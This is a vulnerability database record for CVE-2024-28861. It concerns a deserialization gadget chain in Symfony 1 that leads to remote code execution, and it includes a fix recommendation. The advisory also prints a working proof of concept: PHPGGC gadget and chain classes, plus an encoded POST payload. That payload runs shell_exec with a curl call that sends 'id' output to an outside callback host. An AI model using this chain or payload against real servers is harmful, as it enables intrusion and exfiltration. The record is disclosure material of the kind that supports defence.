{"id":"CVE-2024-28861","aliases":["GHSA-pv9j-c53q-h433"],"url":"https://o3.security/vulnerability/CVE-2024-28861","summary":"Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder","details":"### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n  {\n    $a = unserialize($request->getParameter('user'));\n  }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n    public function unserialize($serialized)\n    {\n        $this->__unserialize(unserialize($serialized));\n    }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n    public function __unserialize($data)\n    {\n        $this->default_namespace = $data[0];\n        $this->parameters = $data[1];\n    }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess`  interface. `sfOutputEscaperArrayDecorator`  implements such interface. Here is the call made on `offsetGet()`:\n```php\n  public function offsetGet($offset)\n    {\n        $value = isset($this->value[$offset]) ? $this->value[$offset] : null;\n\n        return sfOutputEscaper::escape($this->escapingMethod, $value);\n    }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:\n```php\n  public static function escape($escapingMethod, $value)\n  {\n    if (null === $value)\n    {\n      return $value;\n    }\n\n    // Scalars are anything other than arrays, objects and resources.\n    if (is_scalar($value))\n    {\n      return call_user_func($escapingMethod, $value);\n    }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n  [\"prop\":protected]=>\n  object(sfOutputEscaperArrayDecorator)#3 (2) {\n    [\"value\":protected]=>\n    array(1) {\n      [0]=>\n      string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n    }\n    [\"escapingMethod\":protected]=>\n    string(10) \"shell_exec\"\n  }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n  protected $value;\n\n  protected $escapingMethod;\n\n  public function __construct($escapingMethod, $value) {\n    $this->escapingMethod = $escapingMethod;\n    $this->value = $value;\n  }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n    protected $prop = null;\n\n    public function __construct($prop) {\n      $this->prop = $prop;\n    }\n\n    public function serialize()\n    {\n        return serialize($this->prop);\n    }\n\n    public function unserialize($serialized)\n    {\n        \n    }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n    public static $version = '1.1.0 <= 1.5.18';\n    public static $vector = 'Serializable';\n    public static $author = 'darkpills';\n    public static $information = '';\n\n    public function generate(array $parameters)\n    {\n        $escaper = new \\sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));\n\n        $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n        \n        return $tableInfo;\n    }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n    if (is_array($data)) {\n      $this->default_namespace = $data[0];\n      $this->parameters = $data[1];\n    } else {\n      $this->default_namespace = null;\n      $this->parameters = array();\n\n      // or throw an exception maybe?\n    }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.","published":"2024-03-22T16:43:18.453Z","modified":"2026-08-12T03:51:49.534681686Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"friendsofsymfony1/symfony1","fixedVersion":"1.5.19"}],"fix":{"url":"https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a","label":"FriendsOfSymfony1/symfony1@0bd9d59"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28861.json"},{"type":"ADVISORY","url":"https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28861"},{"type":"FIX","url":"https://github.com/FriendsOfSymfony1/symfony1/commit/0bd9d59c69221f49bfc8be8b871b79e12d7d171a"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml"},{"type":"PACKAGE","url":"https://github.com/FriendsOfSymfony1/symfony1"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:49.534681686Z"}}